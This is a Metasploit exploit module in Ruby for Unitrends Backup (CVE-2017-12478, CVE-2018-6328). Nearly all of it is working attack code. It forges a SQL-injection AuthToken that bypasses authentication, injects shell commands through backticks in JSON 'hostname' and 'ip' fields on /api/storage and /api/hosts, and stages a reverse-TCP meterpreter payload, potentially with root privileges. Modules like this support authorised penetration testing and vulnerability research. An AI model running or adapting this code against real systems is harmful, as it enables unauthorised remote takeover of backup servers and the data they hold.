##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Unitrends UEB http api remote code execution',
        'Description' => %q{
          It was discovered that the api/storage web interface in Unitrends Backup (UB)
          before 10.0.0 has an issue in which one of its input parameters was not validated.
          A remote attacker could use this flaw to bypass authentication and execute arbitrary
          commands with root privilege on the target system.
          UEB v9 runs the api under root privileges and api/storage is vulnerable.
          UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
        },
        'Author' => [
          'Cale Smith', # @0xC413
          'Benny Husted', # @BennyHusted
          'Jared Arave', # @iotennui
          'h00die'
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ARCH_X86],
        'CmdStagerFlavor' => [ 'printf' ],
        'References' => [
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
          ['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'],
          ['EDB', '44297'],
          ['CVE', '2017-12478'],
          ['CVE', '2018-6328']
        ],
        'Targets' => [
          [ 'UEB 9.*', { 'Privileged' => true } ],
          [ 'UEB < 10.1.0', { 'Privileged' => false } ]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
          'SSL' => true
        },
        'DisclosureDate' => '2017-08-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ]
    )
    deregister_options('SRVHOST', 'SRVPORT')
  end

  def auth_token
    session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" # SQLi auth bypass
    Base64.strict_encode64(session) # b64 encode session token
  end

  def check
    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => '/api/systems/details',
      'ctype' => 'application/json',
      'headers' =>
        { 'AuthToken' => auth_token }
    })
    if res && res.code == 200
      print_good("Good news, looks like a vulnerable version of UEB.")
      return CheckCode::Appears('The target appears to be vulnerable')
    else
      print_bad('Host does not appear to be vulnerable.')
    end
    return CheckCode::Safe('The target is not vulnerable')
  end

  # substitue some charactes
  def filter_bad_chars(cmd)
    cmd.gsub!("\\", "\\\\\\")
    cmd.gsub!("'", '\\"')
  end

  def execute_command(cmd, opts = {})
    if target.name == 'UEB 9.*'
      # substitue the cmd into the hostname parameter
      parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
      parms << filter_bad_chars(cmd)
      parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
      uri = '/api/storage'
    elsif target.name == 'UEB < 10.1.0'
      parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&|
      parms << filter_bad_chars(cmd)
      parms << %Q|`'"}|
      uri = '/api/hosts'
    end

    res = send_request_cgi({
      'uri' => uri,
      'method' => 'POST',
      'ctype' => 'application/json',
      'encode_params' => false,
      'data' => parms,
      'headers' =>
        { 'AuthToken' => auth_token }
    })

    if res && res.code != 500
      fail_with(Failure::UnexpectedReply, 'Unexpected response')
    end
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end

  def exploit
    print_status("#{peer} - Sending requests to UEB...")
    execute_cmdstager(:linemax => 120)
  end

  def on_new_session(session)
    if target.name == 'UEB < 10.1.0'
      print_good("A privilege escalation exploit can be found 'exploits/linux/local/ueb_bpserverd_privesc'")
    end
  end
end
